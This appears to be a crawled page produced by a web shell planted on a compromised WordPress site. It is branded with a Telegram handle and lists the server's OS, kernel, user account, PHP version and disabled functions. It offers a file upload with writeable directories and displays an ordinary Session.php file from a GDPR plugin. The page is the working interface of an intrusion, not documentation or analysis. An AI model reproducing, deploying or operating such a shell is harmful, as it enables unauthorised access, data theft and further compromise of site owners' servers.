https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/relaunch-kmu/wp-content/plugins/wp-gdpr-compliance/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /html/relaunch-kmu/wp-content/plugins/wp-gdpr-compliance/Utils/Session.php
<?php
namespace WPGDPRC\Utils;

/**
 * Class Session
 * @package WPGDPRC\Utils
 */
class Session {

	/**
	 * Gets the session ID
	 * @return string
	 */
	public static function getId() {
		self::start();
		return session_id();
	}

	/**
	 * Starts the session if not started yet
	 */
	public static function start() {
		if ( ! session_id() ) {
			session_start();
		}
	}

	/**
	 * Validates session ID
	 * @param string $sessionId
	 * @return bool
	 */
	public static function check( $sessionId = '' ) {
		return self::getId() === $sessionId;
	}

	/**
	 * Stores session variable
	 * @param string $key
	 * @param string $value
	 */
	public static function setVar( $key = '', $value = '' ) {
		self::start();
		$_SESSION[ $key ] = $value;
	}
}

https://t.me/RX1948 - 2025